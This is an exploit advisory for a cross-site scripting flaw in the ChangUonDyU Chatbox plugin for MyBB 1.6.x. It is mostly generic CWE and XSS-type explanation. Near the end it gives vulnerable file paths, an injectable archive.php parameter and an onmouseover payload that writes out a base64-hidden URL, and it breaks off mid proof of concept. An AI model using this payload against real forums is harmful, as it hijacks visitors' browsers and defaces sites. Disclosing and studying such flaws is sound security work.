############################################################################
# Exploit Title : MyBB 1.6.x ChangUonDyU Chatbox Plugins 3.6.0 Cross Site Scripting
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 26/02/2019
# Vendor Homepage : mybb.com
# Software Download Link : destek.mybb.com.tr/attachment.php?aid=742
# Software Information Links : community.mybb.com/mods.php?action=view&pid=1125
+ community.mybb.com/mods.php?action=view&pid=1125
+ destek.mybb.com.tr/showthread.php?tid=2413
+ community.mybb.com/thread-63559.html
+ github.com/vintagedaddyo/MyBB_Plugin-ChangUonDyU-Advanced-Statistics
/commit/8122c93f4c3b517b9d35338fe77ba91d9a6ac08a
# Software Version : 1.0.2 and 3.6.0 and all previous versions
Compatible with MyBB - 1.6.x
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-79 [ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ]
CWE-83 [ Improper Neutralization of Script in Attributes in a Web Page ]
CWE-87 [ Improper Neutralization of Alternate XSS Syntax ]
# Old Similar CVE : CVE-2018-11532
Reference Link : cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11532
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cyberizm.org/cyberizm-mybb-changuondyu-kritik-chatbox-acigi.html
############################################################################
# Description about Software :
***************************
ChangUonDyU - Extra File Chatbox is a MyBB plugin used for live chatting with other users on the forum.
####################################################################
# Impact :
***********
* The software does not neutralize or incorrectly neutralizes "javascript:" or other URIs from
dangerous attributes within tags, such as onmouseover, onload, onerror, or style.
* The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.
* The software does not neutralize or incorrectly neutralizes user-controllable input before
it is placed in output that is used as a web page that is served to other users.
Cross-site scripting (XSS) vulnerabilities occur when:
***********************************************
1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is
executable by a web browser, such as JavaScript, HTML tags,
HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains
malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's
web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which
states that scripts in one domain should not be able to access resources or run code in a different domain.
There are three main kinds of XSS:
******************************
Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and
reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes
a victim to supply dangerous content to a vulnerable web application, which is then reflected
back to the victim and executed by the web browser. The most common mechanism for
delivering malicious content is to include it as a parameter in a URL that is posted publicly
or e-mailed directly to the victim. URLs constructed in this manner constitute the core of
many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers
to a vulnerable site. After the site reflects the attacker's content back to the victim,
the content is executed by the victim's browser.
Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database,
message forum, visitor log, or other trusted data store. At a later time, the dangerous
data is subsequently read back into the application and included in dynamic content.
From an attacker's perspective, the optimal place to inject malicious content is in an area
that is displayed to either many users or particularly interesting users.
Interesting users typically have elevated privileges in the application or interact with
sensitive data that is valuable to the attacker. If one of these users executes malicious content,
the attacker may be able to perform privileged operations on behalf of the user or gain access
to sensitive data belonging to the user. For example, the attacker might inject XSS into
a log message, which might not be handled properly when an administrator views the logs.
Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of
XSS into the page; in the other types, the server performs the injection. DOM-based XSS
generally involves server-controlled, trusted script that is sent to the client, such as
Javascript that performs sanity checks on a form before the user submits it.
If the server-supplied script processes user-supplied data and then injects it
back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.
############################################################################
Vulnerable File :
******************
[VULNERABLESITE]/chatbox/message.php
Vulnerable Source Code :
**********************
54: $shout['color'] = strip_tags($shout['color']);
55: $shout['font'] = strip_tags($shout['font']);
Example Dangerous JavaScript Code :
********************************
' size=99 onmouseover=document.write(atob('aHR0cHM6Ly93d3cuY3liZXJpem0ub3JnLw====')); a='asd
Encode and Decode URL Links:
****************************
base64encode.org
base64decode.org
Vulnerability Area :
****************
[VULNERABLESITE]/chatbox/index.php
Cross Site Scripting XSS Exploit :
*****************************
[VULNERABLESITE]/chatbox/archive.php?page=[XSS]
# Example XSS Payload :
************************
Proof of Concept :
*****************
Create a new thread with the following payload as the title